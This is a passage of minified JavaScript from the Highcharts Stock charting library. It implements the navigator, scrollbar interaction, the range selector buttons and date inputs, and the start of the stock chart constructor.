l=this.chart,v,s,h=this.scrollbarHeight,p,o=this.xAxis,k,y,a,d,b,w;if(v=o.fake?l.xAxis[0]:o,k=this.navigatorEnabled,a=this.rendered,s=l.inverted,b=l.xAxis[0].minRange,w=l.xAxis[0].options.maxRange,!this.hasDragged||c(u)){if(!e(t)||!e(i))if(a)u=0,f=r(o.width,v.width);else return;this.left=r(o.left,l.plotLeft+h+(s?l.plotWidth:0)),this.size=y=p=r(o.len,(s?l.plotHeight:l.plotWidth)-2*h),l=s?h:p+2*h,u=r(u,o.toPixels(t,!0)),f=r(f,o.toPixels(i,!0)),e(u)&&Infinity!==Math.abs(u)||(u=0,f=l),t=o.toValue(u,!0),i=o.toValue(f,!0),d=Math.abs(n.correctFloat(i-t)),d<b?this.grabbedLeft?u=o.toPixels(i-b,!0):this.grabbedRight&&(f=o.toPixels(t+b,!0)):c(w)&&d>w&&(this.grabbedLeft?u=o.toPixels(i-w,!0):this.grabbedRight&&(f=o.toPixels(t+w,!0))),this.zoomedMax=Math.min(Math.max(u,f,0),y),this.zoomedMin=Math.min(Math.max(this.fixedWidth?this.zoomedMax-this.fixedWidth:Math.min(u,f),0),y),this.range=this.zoomedMax-this.zoomedMin,y=Math.round(this.zoomedMax),u=Math.round(this.zoomedMin),k&&(this.navigatorGroup.attr({visibility:"visible"}),a=a&&!this.hasDragged?"animate":"attr",this.drawMasks(u,y,s,a),this.drawOutline(u,y,s,a),this.navigatorOptions.handles.enabled&&(this.drawHandle(u,0,s,a),this.drawHandle(y,1,s,a))),this.scrollbar&&(s?(s=this.top-h,v=this.left-h+(k||!v.opposite?0:(v.titleOffset||0)+v.axisTitleMargin),h=p+2*h):(s=this.top+(k?this.height:-h),v=this.left-h),this.scrollbar.position(v,s,l,h),this.scrollbar.setRange(this.zoomedMin/p,this.zoomedMax/p)),this.rendered=!0}},addMouseEvents:function(){var n=this,e=n.chart,r=e.container,t=[],f,u;n.mouseMoveHandler=f=function(t){n.onMouseMove(t)},n.mouseUpHandler=u=function(t){n.onMouseUp(t)},t=n.getPartsEvents("mousedown"),t.push(i(r,"mousemove",f),i(r.ownerDocument,"mouseup",u)),rt&&(t.push(i(r,"touchmove",f),i(r.ownerDocument,"touchend",u)),t.concat(n.getPartsEvents("touchstart"))),n.eventsToUnbind=t,n.series&&n.series[0]&&t.push(i(n.series[0].xAxis,"foundExtremes",function(){e.navigator.modifyNavigatorAxisExtremes()}))},getPartsEvents:function(n){var u=this,r=[];return t(["shades","handles"],function(f){t(u[f],function(t,e){r.push(i(t.element,n,function(n){u[f+"Mousedown"](n,e)}))})}),r},shadesMousedown:function(n,t){n=this.chart.pointer.normalize(n);var e=this.chart,h=this.xAxis,o=this.zoomedMin,s=this.left,u=this.size,i=this.range,r=n.chartX,f;e.inverted&&(r=n.chartY,s=this.top),1===t?(this.grabbedCenter=r,this.fixedWidth=i,this.dragOffset=r-o):(n=r-s-i/2,0===t?n=Math.max(0,n):2===t&&n+i>=u&&(n=u-i,f=this.getUnionExtremes().dataMax),n!==o&&(this.fixedWidth=i,t=h.toFixedRange(n,n+i,null,f),e.xAxis[0].setExtremes(Math.min(t.min,t.max),Math.max(t.min,t.max),!0,null,{trigger:"navigator"})))},handlesMousedown:function(n,t){this.chart.pointer.normalize(n),n=this.chart;var i=n.xAxis[0],r=n.inverted&&!i.reversed||!n.inverted&&i.reversed;0===t?(this.grabbedLeft=!0,this.otherHandlePos=this.zoomedMax,this.fixedExtreme=r?i.min:i.max):(this.grabbedRight=!0,this.otherHandlePos=this.zoomedMin,this.fixedExtreme=r?i.max:i.min),n.fixedRange=null},onMouseMove:function(n){var t=this,i=t.chart,f=t.left,e=t.navigatorSize,u=t.range,r=t.dragOffset,o=i.inverted;n.touches&&0===n.touches[0].pageX||(n=i.pointer.normalize(n),i=n.chartX,o&&(f=t.top,i=n.chartY),t.grabbedLeft?(t.hasDragged=!0,t.render(0,0,i-f,t.otherHandlePos)):t.grabbedRight?(t.hasDragged=!0,t.render(0,0,t.otherHandlePos,i-f)):t.grabbedCenter&&(t.hasDragged=!0,i<r?i=r:i>e+r-u&&(i=e+r-u),t.render(0,0,i-r,i-r+u)),t.hasDragged&&t.scrollbar&&t.scrollbar.options.liveRedraw&&(n.DOMType=n.type,setTimeout(function(){t.onMouseUp(n)},0)))},onMouseUp:function(n){var e=this.chart,t=this.xAxis,u=this.scrollbar,r,i,f=n.DOMEvent||n;(!this.hasDragged||u&&u.hasDragged)&&"scrollbar"!==n.trigger||(this.zoomedMin===this.otherHandlePos?r=this.fixedExtreme:this.zoomedMax===this.otherHandlePos&&(i=this.fixedExtreme),this.zoomedMax===this.size&&(i=this.getUnionExtremes().dataMax),t=t.toFixedRange(this.zoomedMin,this.zoomedMax,r,i),c(t.min)&&e.xAxis[0].setExtremes(Math.min(t.min,t.max),Math.max(t.min,t.max),!0,this.hasDragged?!1:null,{trigger:"navigator",triggerOp:"navigator-drag",DOMEvent:f})),"mousemove"!==n.DOMType&&(this.grabbedLeft=this.grabbedRight=this.grabbedCenter=this.fixedWidth=this.fixedExtreme=this.otherHandlePos=this.hasDragged=this.dragOffset=null)},removeEvents:function(){this.eventsToUnbind&&(t(this.eventsToUnbind,function(n){n()}),this.eventsToUnbind=void 0),this.removeBaseSeriesEvents()},removeBaseSeriesEvents:function(){var n=this.baseSeries||[];this.navigatorEnabled&&n[0]&&(!1!==this.navigatorOptions.adaptToUpdatedData&&t(n,function(n){a(n,"updatedData",this.updatedDataHandler)},this),n[0].xAxis&&a(n[0].xAxis,"foundExtremes",this.modifyBaseAxisExtremes))},init:function(n){var o=n.options,e=o.navigator,a=e.enabled,c=o.scrollbar,v=c.enabled,o=a?e.height:0,h=v?c.height:0;this.handles=[],this.shades=[],this.chart=n,this.setBaseSeries(),this.height=o,this.scrollbarHeight=h,this.scrollbarEnabled=v,this.navigatorEnabled=a,this.navigatorOptions=e,this.scrollbarOptions=c,this.outlineHeight=o+h,this.opposite=r(e.opposite,!a&&n.inverted);var t=this,c=t.baseSeries,v=n.xAxis.length,p=n.yAxis.length,y=c&&c[0]&&c[0].xAxis||n.xAxis[0];n.extraMargin={type:t.opposite?"plotTop":"marginBottom",value:(a||!n.inverted?t.outlineHeight:0)+e.margin},n.inverted&&(n.extraMargin.type=t.opposite?"marginRight":"plotLeft"),n.isDirtyBox=!0,t.navigatorEnabled?(t.xAxis=new l(n,f({breaks:y.options.breaks,ordinal:y.options.ordinal},e.xAxis,{id:"navigator-x-axis",yAxis:"navigator-y-axis",isX:!0,type:"datetime",index:v,offset:0,keepOrdinalPadding:!0,startOnTick:!1,endOnTick:!1,minPadding:0,maxPadding:0,zoomEnabled:!1},n.inverted?{offsets:[h,0,-h,0],width:o}:{offsets:[0,-h,0,h],height:o})),t.yAxis=new l(n,f(e.yAxis,{id:"navigator-y-axis",alignTicks:!1,offset:0,index:p,zoomEnabled:!1},n.inverted?{width:o}:{height:o})),c||e.series.data?t.updateNavigatorSeries():0===n.series.length&&u(n,"redraw",function(i,r){0<n.series.length&&!t.series&&(t.setBaseSeries(),n.redraw=i),i.call(n,r)}),t.renderElements(),t.addMouseEvents()):t.xAxis={translate:function(t,i){var r=n.xAxis[0],f=r.getExtremes(),e=r.len-2*h,u=s("min",r.options.min,f.dataMin),r=s("max",r.options.max,f.dataMax)-u;return i?t*r/e+u:e*(t-u)/r},toPixels:function(n){return this.translate(n)},toValue:function(n){return this.translate(n,!0)},toFixedRange:l.prototype.toFixedRange,fake:!0},n.options.scrollbar.enabled&&(n.scrollbar=t.scrollbar=new nt(n.renderer,f(n.options.scrollbar,{margin:t.navigatorEnabled?0:10,vertical:n.inverted}),n),i(t.scrollbar,"changed",function(i){var r=t.size,u=r*this.to,r=r*this.from;t.hasDragged=t.scrollbar.hasDragged,t.render(0,0,r,u),(n.options.scrollbar.liveRedraw||"mousemove"!==i.DOMType)&&setTimeout(function(){t.onMouseUp(i)})})),t.addBaseSeriesEvents(),t.addChartEvents()},getUnionExtremes:function(n){var u=this.chart.xAxis[0],t=this.xAxis,i=t.options,e=u.options,f;return n&&null===u.dataMin||(f={dataMin:r(i&&i.min,s("min",e.min,u.dataMin,t.dataMin,t.min)),dataMax:r(i&&i.max,s("max",e.max,u.dataMax,t.dataMax,t.max))}),f},setBaseSeries:function(n,i){var r=this.chart,u=this.baseSeries=[];n=n||r.options&&r.options.navigator.baseSeries||0,t(r.series||[],function(t,i){t.options.isInternal||!t.options.showInNavigator&&(i!==n&&t.options.id!==n||!1===t.options.showInNavigator)||u.push(t)}),this.xAxis&&!this.xAxis.fake&&this.updateNavigatorSeries(i)},updateNavigatorSeries:function(i){var r=this,e=r.chart,s=r.baseSeries,h,u,o=r.navigatorOptions.series,v,c={enableMouseTracking:!1,index:null,linkedTo:null,group:"nav",padXAxis:!1,xAxis:"navigator-x-axis",yAxis:"navigator-y-axis",showInLegend:!1,stacking:!1,isInternal:!0,visible:!0},l=r.series=n.grep(r.series||[],function(t){var i=t.baseSeries;return 0>n.inArray(i,s)?(i&&(a(i,"updatedData",r.updatedDataHandler),delete i.navigatorSeries),t.destroy(),!1):!0});s&&s.length&&t(s,function(n){var a=n.navigatorSeries,t=d({color:n.color},k(o)?w.navigator.series:o);a&&!1===r.navigatorOptions.adaptToUpdatedData||(c.name="Navigator "+s.length,h=n.options||{},v=h.navigatorOptions||{},u=f(h,c,t,v),t=v.data||t.data,r.hasNavigatorData=r.hasNavigatorData||!!t,u.data=t||h.data&&h.data.slice(0),a&&a.options?a.update(u,i):(n.navigatorSeries=e.initSeries(u),n.navigatorSeries.baseSeries=n,l.push(n.navigatorSeries)))}),(o.data&&(!s||!s.length)||k(o))&&(r.hasNavigatorData=!1,o=n.splat(o),t(o,function(n,t){c.name="Navigator "+(l.length+1),u=f(w.navigator.series,{color:e.series[t]&&!e.series[t].options.isInternal&&e.series[t].color||e.options.colors[t]||e.options.colors[0]},c,n),u.data=n.data,u.data&&(r.hasNavigatorData=!0,l.push(e.initSeries(u)))})),this.addBaseSeriesEvents()},addBaseSeriesEvents:function(){var r=this,n=r.baseSeries||[];n[0]&&n[0].xAxis&&i(n[0].xAxis,"foundExtremes",this.modifyBaseAxisExtremes),t(n,function(n){i(n,"show",function(){this.navigatorSeries&&this.navigatorSeries.setVisible(!0,!1)}),i(n,"hide",function(){this.navigatorSeries&&this.navigatorSeries.setVisible(!1,!1)}),!1!==this.navigatorOptions.adaptToUpdatedData&&n.xAxis&&i(n,"updatedData",this.updatedDataHandler),i(n,"remove",function(){this.navigatorSeries&&(o(r.series,this.navigatorSeries),this.navigatorSeries.remove(!1),delete this.navigatorSeries)})},this)},modifyNavigatorAxisExtremes:function(){var t=this.xAxis,n;t.getExtremes&&(!(n=this.getUnionExtremes(!0))||n.dataMin===t.min&&n.dataMax===t.max||(t.min=n.dataMin,t.max=n.dataMax))},modifyBaseAxisExtremes:function(){var t=this.chart.navigator,n=this.getExtremes(),s=n.dataMin,l=n.dataMax,n=n.max-n.min,f=t.stickToMin,o=t.stickToMax,c=this.options.overscroll,r,i,u=t.series&&t.series[0],h=!!this.setExtremes;this.eventArgs&&"rangeSelectorButton"===this.eventArgs.trigger||(f&&(i=s,r=i+n),o&&(r=l+c,f||(i=Math.max(r-n,u&&u.xData?u.xData[0]:-Number.MAX_VALUE))),h&&(f||o)&&e(i)&&(this.min=this.userMin=i,this.max=this.userMax=r)),t.stickToMin=t.stickToMax=null},updatedDataHandler:function(){var n=this.chart.navigator,t=this.navigatorSeries;n.stickToMax=Math.round(n.zoomedMax)>=Math.round(n.size),n.stickToMin=e(this.xAxis.min)&&this.xAxis.min<=this.xData[0]&&(!this.chart.fixedRange||!n.stickToMax),t&&!n.hasNavigatorData&&(t.options.pointStart=this.xData[0],t.setData(this.options.data,!1,null,!1))},addChartEvents:function(){i(this.chart,"redraw",function(){var n=this.navigator,t=n&&(n.baseSeries&&n.baseSeries[0]&&n.baseSeries[0].xAxis||n.scrollbar&&this.xAxis[0]);t&&n.render(t.min,t.max)})},destroy:function(){this.removeEvents(),this.xAxis&&(o(this.chart.xAxis,this.xAxis),o(this.chart.axes,this.xAxis)),this.yAxis&&(o(this.chart.yAxis,this.yAxis),o(this.chart.axes,this.yAxis)),t(this.series||[],function(n){n.destroy&&n.destroy()}),t("series xAxis yAxis shades outline scrollbarTrack scrollbarRifles scrollbarGroup scrollbar navigatorGroup rendered".split(" "),function(n){this[n]&&this[n].destroy&&this[n].destroy(),this[n]=null},this),t([this.handles],function(n){it(n)},this)}},n.Navigator=p,u(l.prototype,"zoom",function(n,t,i){var r=this.chart,u=r.options,e=u.chart.zoomType,o=u.navigator,u=u.rangeSelector,f;return this.isXAxis&&(o&&o.enabled||u&&u.enabled)&&("x"===e?r.resetZoomButton="blocked":"y"===e?f=!1:"xy"===e&&this.options.range&&(r=this.previousZoom,c(t)?this.previousZoom=[this.min,this.max]:r&&(t=r[0],i=r[1],delete this.previousZoom))),void 0!==f?f:n.call(this,t,i)}),u(h.prototype,"init",function(n,t,r){i(this,"beforeRender",function(){var n=this.options;(n.navigator.enabled||n.scrollbar.enabled)&&(this.scroller=this.navigator=new p(this))}),n.call(this,t,r)}),u(h.prototype,"setChartSize",function(n){var o=this.legend,t=this.navigator,u,i,e,f;n.apply(this,[].slice.call(arguments,1)),t&&(i=o&&o.options,e=t.xAxis,f=t.yAxis,u=t.scrollbarHeight,this.inverted?(t.left=t.opposite?this.chartWidth-u-t.height:this.spacing[3]+u,t.top=this.plotTop+u):(t.left=this.plotLeft+u,t.top=t.navigatorOptions.top||this.chartHeight-t.height-u-this.spacing[2]-(this.rangeSelector&&this.extraBottomMargin?this.rangeSelector.getHeight():0)-(i&&"bottom"===i.verticalAlign&&i.enabled&&!i.floating?o.legendHeight+r(i.margin,10):0)),e&&f&&(this.inverted?e.options.left=f.options.left=t.left:e.options.top=f.options.top=t.top,e.setAxisSize(),f.setAxisSize()))}),u(b.prototype,"addPoint",function(n,t,i,r,u){var f=this.options.turboThreshold;f&&this.xData.length>f&&ut(t,!0)&&this.chart.navigator&&tt(20,!0),n.call(this,t,i,r,u)}),u(h.prototype,"addSeries",function(n,t,i,u){return n=n.call(this,t,!1,u),this.navigator&&this.navigator.setBaseSeries(null,!1),r(i,!0)&&this.redraw(),n}),u(b.prototype,"update",function(n,t,i){n.call(this,t,!1),this.chart.navigator&&!this.options.isInternal&&this.chart.navigator.setBaseSeries(null,!1),r(i,!0)&&this.chart.redraw()}),h.prototype.callbacks.push(function(n){var t=n.navigator;t&&(n=n.xAxis[0].getExtremes(),t.render(n.min,n.max))})}(t),function(n){function c(n){this.init(n)}var i=n.addEvent,l=n.Axis,f=n.Chart,a=n.css,p=n.createElement,w=n.dateFormat,u=n.defaultOptions,y=u.global.useUTC,tt=n.defined,d=n.destroyObjectProperties,nt=n.discardElement,e=n.each,k=n.extend,b=n.fireEvent,h=n.Date,r=n.isNumber,s=n.merge,t=n.pick,v=n.pInt,g=n.splat,o=n.wrap;k(u,{rangeSelector:{verticalAlign:"top",buttonTheme:{"stroke-width":0,width:28,height:18,padding:2,zIndex:7},floating:!1,x:0,y:0,height:void 0,inputPosition:{align:"right",x:0,y:0},buttonPosition:{align:"left",x:0,y:0},labelStyle:{color:"#666666"}}}),u.lang=s(u.lang,{rangeSelectorZoom:"Zoom",rangeSelectorFrom:"From",rangeSelectorTo:"To"}),c.prototype={clickButton:function(n,u){var k=this,h=k.chart,v=k.buttonOptions[n],f=h.xAxis[0],p=h.scroller&&h.scroller.getUnionExtremes()||f||{},a=p.dataMin,s=p.dataMax,w,o=f&&Math.round(Math.min(f.max,t(s,f.max))),c=v.type,b,p=v._range,tt,it,d,nt=v.dataGrouping;if(null!==a&&null!==s){if(h.fixedRange=p,nt&&(this.forcedDataGrouping=!0,l.prototype.setDataGrouping.call(f||{chart:this.chart},nt,!1)),"month"===c||"year"===c)f?(c={range:v,max:o,dataMin:a,dataMax:s},w=f.minFromRange.call(c),r(c.newMax)&&(o=c.newMax)):p=v;else if(p)w=Math.max(o-p,a),o=Math.min(w+p,s);else if("ytd"===c)if(f)void 0===s&&(a=Number.MAX_VALUE,s=Number.MIN_VALUE,e(h.series,function(n){n=n.xData,a=Math.min(n[0],a),s=Math.max(n[n.length-1],s)}),u=!1),o=k.getYTDExtremes(s,a,y),w=tt=o.min,o=o.max;else{i(h,"beforeRender",function(){k.clickButton(n)});return}else"all"===c&&f&&(w=a,o=s);w+=v._offsetMin,o+=v._offsetMax,k.setSelected(n),f?f.setExtremes(w,o,t(u,1),null,{trigger:"rangeSelectorButton",rangeSelectorButton:v}):(b=g(h.options.xAxis)[0],d=b.range,b.range=p,it=b.min,b.min=tt,i(h,"load",function(){b.range=d,b.min=it}))}},setSelected:function(n){this.selected=this.options.selected=n},defaultButtons:[{type:"month",count:1,text:"1m"},{type:"month",count:3,text:"3m"},{type:"month",count:6,text:"6m"},{type:"ytd",text:"YTD"},{type:"year",count:1,text:"1y"},{type:"all",text:"All"}],init:function(n){var t=this,r=n.options.rangeSelector,f=r.buttons||[].concat(t.defaultButtons),u=r.selected,o=function(){var i=t.minInput,n=t.maxInput;i&&i.blur&&b(i,"blur"),n&&n.blur&&b(n,"blur")};t.chart=n,t.options=r,t.buttons=[],n.extraTopMargin=r.height,t.buttonOptions=f,this.unMouseDown=i(n.container,"mousedown",o),this.unResize=i(n,"resize",o),e(f,t.computeButtonRange),void 0!==u&&f[u]&&this.clickButton(u,!1),i(n,"load",function(){n.xAxis&&n.xAxis[0]&&i(n.xAxis[0],"setExtremes",function(i){this.max-this.min!==n.fixedRange&&"rangeSelectorButton"!==i.trigger&&"updatedData"!==i.trigger&&t.forcedDataGrouping&&this.setDataGrouping(!1,!1)})})},updateButtonStates:function(){var t=this.chart,n=t.xAxis[0],i=Math.round(n.max-n.min),l=!n.hasVisibleSeries,t=t.scroller&&t.scroller.getUnionExtremes()||n,o=t.dataMin,u=t.dataMax,t=this.getYTDExtremes(u,o,y),v=t.min,a=t.max,s=this.selected,f=r(s),h=this.options.allButtonsEnabled,c=this.buttons;e(this.buttonOptions,function(t,r){var e=t._range,y=t.type,w=t.count||1,d=c[r],p=0;t=t._offsetMax-t._offsetMin,r=r===s;var nt=e>u-o,g=e<n.minRange,b=!1,k=!1,e=e===i;("month"===y||"year"===y)&&i>=864e5*{month:28,year:365}[y]*w+t&&i<=864e5*{month:31,year:366}[y]*w+t?e=!0:"ytd"===y?(e=a-v+t===i,b=!r):"all"===y&&(e=n.max-n.min>=u-o,k=!r&&f&&e),y=!h&&(nt||g||k||l),w=r&&e||e&&!f&&!b,y?p=3:w&&(f=!0,p=2),d.state!==p&&d.setState(p)})},computeButtonRange:function(n){var i=n.type,u=n.count||1,r={millisecond:1,second:1e3,minute:6e4,hour:36e5,day:864e5,week:6048e5};r[i]?n._range=r[i]*u:("month"===i||"year"===i)&&(n._range=864e5*{month:30,year:365}[i]*u),n._offsetMin=t(n.offsetMin,0),n._offsetMax=t(n.offsetMax,0),n._range+=n._offsetMax-n._offsetMin},setInputValue:function(n,t){var r=this.chart.options.rangeSelector,i=this[n+"Input"];tt(t)&&(i.previousValue=i.HCTime,i.HCTime=t),i.value=w(r.inputEditDateFormat||"%Y-%m-%d",i.HCTime),this[n+"DateBox"].attr({text:w(r.inputDateFormat||"%b %e, %Y",i.HCTime)})},showInput:function(n){var i=this.inputGroup,t=this[n+"DateBox"];a(this[n+"Input"],{left:i.translateX+t.x+"px",top:i.translateY+"px",width:t.width-2+"px",height:t.height-2+"px",border:"2px solid silver"})},hideInput:function(n){a(this[n+"Input"],{border:0,width:"1px",height:"1px"}),this.setInputValue(n)},drawInput:function(n){function b(){var c=t.value,n=(e.inputDateParser||Date.parse)(c),o=i.xAxis[0],u=i.scroller&&i.scroller.xAxis?i.scroller.xAxis:o,s=u.dataMin,u=u.dataMax;n!==t.previousValue&&(t.previousValue=n,r(n)||(n=c.split("-"),n=Date.UTC(v(n[0]),v(n[1])-1,v(n[2]))),r(n)&&(y||(n+=6e4*(new Date).getTimezoneOffset()),h?n>f.maxInput.HCTime?n=void 0:n<s&&(n=s):n<f.minInput.HCTime?n=void 0:n>u&&(n=u),void 0!==n&&o.setExtremes(h?n:o.min,h?o.max:n,void 0,void 0,{trigger:"rangeSelectorInput"})))}var f=this,i=f.chart,l=i.renderer.style||{},c=i.renderer,e=i.options.rangeSelector,d=f.div,h="min"===n,t,w,o=this.inputGroup;this[n+"Label"]=w=c.label(u.lang[h?"rangeSelectorFrom":"rangeSelectorTo"],this.inputGroup.offset).addClass("highcharts-range-label").attr({padding:2}).add(o),o.offset+=w.width+5,this[n+"DateBox"]=c=c.label("",o.offset).addClass("highcharts-range-input").attr({padding:2,width:e.inputBoxWidth||90,height:e.inputBoxHeight||17,stroke:e.inputBoxBorderColor||"#cccccc","stroke-width":1,"text-align":"center"}).on("click",function(){f.showInput(n),f[n+"Input"].focus()}).add(o),o.offset+=c.width+(h?10:0),this[n+"Input"]=t=p("input",{name:n,className:"highcharts-range-selector",type:"text"},{top:i.plotTop+"px"},d),w.css(s(l,e.labelStyle)),c.css(s({color:"#333333"},l,e.inputStyle)),a(t,k({position:"absolute",border:0,width:"1px",height:"1px",padding:0,textAlign:"center",fontSize:l.fontSize,fontFamily:l.fontFamily,top:"-9999em"},e.inputStyle)),t.onfocus=function(){f.showInput(n)},t.onblur=function(){f.hideInput(n)},t.onchange=b,t.onkeypress=function(n){13===n.keyCode&&b()}},getPosition:function(){var n=this.chart,t=n.options.rangeSelector,n="top"===t.verticalAlign?n.plotTop-n.axisOffset[0]:0;return{buttonTop:n+t.buttonPosition.y,inputTop:n+t.inputPosition.y-10}},getYTDExtremes:function(n,t,i){var r=new h(n),u=r[h.hcGetFullYear]();return i=i?h.UTC(u,0,1):+new h(u,0,1),t=Math.max(t||0,i),r=r.getTime(),{max:Math.min(n||r,r),min:t}},render:function(n,i){var r=this,f=r.chart,et=f.renderer,ft=f.container,w=f.options,v=w.exporting&&!1!==w.exporting.enabled&&w.navigation&&w.navigation.buttonOptions,ot=u.lang,o=r.div,h=w.rangeSelector,w=h.floating,at=r.buttons,o=r.inputGroup,st=h.buttonTheme,s=h.buttonPosition,l=h.inputPosition,ct=h.inputEnabled,g=st&&st.states,k=f.plotLeft,ht,c=r.buttonGroup,d;d=r.rendered;var tt=r.options.verticalAlign,ut=f.legend,rt=ut&&ut.options,it=s.y,nt=l.y,lt=d||!1,b=0,a=0,y;!1!==h.enabled&&(d||(r.group=d=et.g("range-selector-group").attr({zIndex:7}).add(),r.buttonGroup=c=et.g("range-selector-buttons").add(d),r.zoomText=et.text(ot.rangeSelectorZoom,t(k+s.x,k),15).css(h.labelStyle).add(c),ht=t(k+s.x,k)+r.zoomText.getBBox().width+5,e(r.buttonOptions,function(n,i){at[i]=et.button(n.text,ht,0,function(){var u=n.events&&n.events.click,t;u&&(t=u.call(n)),!1!==t&&r.clickButton(i),r.isActive=!0},st,g&&g.hover,g&&g.select,g&&g.disabled).attr({"text-align":"center"}).add(c),ht+=at[i].width+t(h.buttonSpacing,5)}),!1!==ct&&(r.div=o=p("div",null,{position:"relative",height:0,zIndex:1}),ft.parentNode.insertBefore(o,ft),r.inputGroup=o=et.g("input-group").add(d),o.offset=0,r.drawInput("min"),r.drawInput("max"))),k=f.plotLeft-f.spacing[3],r.updateButtonStates(),v&&this.titleCollision(f)&&"top"===tt&&"right"===s.align&&s.y+c.getBBox().height-12<(v.y||0)+v.height&&(b=-40),"left"===s.align?y=s.x-f.spacing[3]:"right"===s.align&&(y=s.x+b-f.spacing[1]),c.align({y:s.y,width:c.getBBox().width,align:s.align,x:y},!0,f.spacingBox),r.group.placed=lt,r.buttonGroup.placed=lt,!1!==ct&&(b=v&&this.titleCollision(f)&&"top"===tt&&"right"===l.align&&l.y-o.getBBox().height-12<(v.y||0)+v.height+f.spacing[0]?-40:0,"left"===l.align?y=k:"right"===l.align&&(y=-Math.max(f.axisOffset[1],-b)),o.align({y:l.y,width:o.getBBox().width,align:l.align,x:l.x+y-2},!0,f.spacingBox),ft=o.alignAttr.translateX+o.alignOptions.x-b+o.getBBox().x+2,v=o.alignOptions.width,ot=c.alignAttr.translateX+c.getBBox().x,y=c.getBBox().width+20,(l.align===s.align||ot+y>ft&&ft+v>ot&&it<nt+o.getBBox().height)&&o.attr({translateX:o.alignAttr.translateX+(f.axisOffset[1]>=-b?0:-b),translateY:o.alignAttr.translateY+c.getBBox().height+10}),r.setInputValue("min",n),r.setInputValue("max",i),r.inputGroup.placed=lt),r.group.align({verticalAlign:tt},!0,f.spacingBox),n=r.group.getBBox().height+20,i=r.group.alignAttr.translateY,"bottom"===tt&&(ut=rt&&"bottom"===rt.verticalAlign&&rt.enabled&&!rt.floating?ut.legendHeight+t(rt.margin,10):0,n=n+ut-20,a=i-n-(w?0:h.y)-10),"top"===tt?(w&&(a=0),f.titleOffset&&(a=f.titleOffset+f.options.title.margin),a+=f.margin[0]-f.spacing[0]||0):"middle"===tt&&(nt===it?a=0>nt?i+void 0:i:(nt||it)&&(a=0>nt||0>it?a-Math.min(nt,it):i-n+NaN)),r.group.translate(h.x,h.y+Math.floor(a)),!1!==ct&&(r.minInput.style.marginTop=r.group.translateY+"px",r.maxInput.style.marginTop=r.group.translateY+"px"),r.rendered=!0)},getHeight:function(){var n=this.options,t=this.group,r=n.y,i=n.buttonPosition.y,n=n.inputPosition.y,t=t?t.getBBox(!0).height+13+r:0,r=Math.min(n,i);return(0>n&&0>i||0<n&&0<i)&&(t+=Math.abs(r)),t},titleCollision:function(n){return!(n.options.title.text||n.options.subtitle.text)},update:function(n){var t=this.chart;s(!0,t.options.rangeSelector,n),this.destroy(),this.init(t),t.rangeSelector.render()},destroy:function(){var t=this,r=t.minInput,i=t.maxInput;t.unMouseDown(),t.unResize(),d(t.buttons),r&&(r.onfocus=r.onblur=r.onchange=null),i&&(i.onfocus=i.onblur=i.onchange=null),n.objectEach(t,function(n,i){n&&"chart"!==i&&(n.destroy?n.destroy():n.nodeType&&nt(this[i])),n!==c.prototype[i]&&(t[i]=null)},this)}},l.prototype.toFixedRange=function(n,i,u,f){var e=this.chart&&this.chart.fixedRange;return n=t(u,this.translate(n,!0,!this.horiz)),i=t(f,this.translate(i,!0,!this.horiz)),u=e&&(i-n)/e,.7<u&&1.3>u&&(f?n=i-e:i=n+e),r(n)||(n=i=void 0),{min:n,max:i}},l.prototype.minFromRange=function(){var i=this.range,o={month:"Month",year:"FullYear"}[i.type],n,u=this.max,e,f,s=function(n,t){var i=new Date(n),r=i["get"+o]();return i["set"+o](r+t),r===i["get"+o]()&&i.setDate(0),i.getTime()-n};return r(i)?(n=u-i,f=i):(n=u+s(u,-i.count),this.chart&&(this.chart.fixedRange=u-n)),e=t(this.dataMin,Number.MIN_VALUE),r(n)||(n=e),n<=e&&(n=e,void 0===f&&(f=s(n,i.count)),this.newMax=Math.min(n+f,this.dataMax)),r(u)||(n=void 0),n},o(f.prototype,"init",function(n,t,r){i(this,"init",function(){this.options.rangeSelector.enabled&&(this.rangeSelector=new c(this))}),n.call(this,t,r)}),o(f.prototype,"render",function(n,t,i){var u=this.axes,r=this.rangeSelector;r&&(e(u,function(n){n.updateNames(),n.setScale()}),this.getAxisMargins(),r.render(),u=r.options.verticalAlign,r.options.floating||("bottom"===u?this.extraBottomMargin=!0:"middle"!==u&&(this.extraTopMargin=!0))),n.call(this,t,i)}),o(f.prototype,"update",function(i,r,u,f){var e=this.rangeSelector,o;this.extraTopMargin=this.extraBottomMargin=!1,e&&(e.render(),o=r.rangeSelector&&r.rangeSelector.verticalAlign||e.options&&e.options.verticalAlign,e.options.floating||("bottom"===o?this.extraBottomMargin=!0:"middle"!==o&&(this.extraTopMargin=!0))),i.call(this,n.merge(!0,r,{chart:{marginBottom:t(r.chart&&r.chart.marginBottom,this.margin.bottom),spacingBottom:t(r.chart&&r.chart.spacingBottom,this.spacing.bottom)}}),u,f)}),o(f.prototype,"redraw",function(n,t,i){var r=this.rangeSelector;r&&!r.options.floating&&(r.render(),r=r.options.verticalAlign,"bottom"===r?this.extraBottomMargin=!0:"middle"!==r&&(this.extraTopMargin=!0)),n.call(this,t,i)}),f.prototype.adjustPlotArea=function(){var n=this.rangeSelector;this.rangeSelector&&(n=n.getHeight(),this.extraTopMargin&&(this.plotTop+=n),this.extraBottomMargin&&(this.marginBottom+=n))},f.prototype.callbacks.push(function(n){function o(){u=n.xAxis[0].getExtremes(),r(u.min)&&t.render(u.min,u.max)}var u,t=n.rangeSelector,e,f;t&&(f=i(n.xAxis[0],"afterSetExtremes",function(n){t.render(n.min,n.max)}),e=i(n,"redraw",o),o()),i(n,"destroy",function(){t&&(e(),f())})}),n.RangeSelector=c}(t),function(n){var nt=n.arrayMax,tt=n.arrayMin,f=n.Axis,o=n.Chart,l=n.defined,r=n.each,it=n.extend,rt=n.format,ut=n.grep,c=n.inArray,s=n.isNumber,w=n.isString,h=n.map,e=n.merge,i=n.pick,a=n.Point,ft=n.Renderer,b=n.Series,p=n.splat,y=n.SVGRenderer,v=n.VMLRenderer,t=n.wrap,u=b.prototype,g=u.init,k=u.processData,d=a.prototype.tooltipFormatter;n.StockChart=n.stockChart=function(t,r,u){var a=w(t)||t.nodeName,f=arguments[a?1:0],b=f.series,c=n.getOptions(),y,v=i(f.navigator&&f.navigator.enabled,c.navigator.enabled,!0),k=v?{startOnTick:!1,endOnTick:!1}:null,s={marker:{enabled:!1,radius:2}},l={shadow:!1,borderWidth:0};return f.xAxis=h(p(f.xAxis||{}),function(n){return 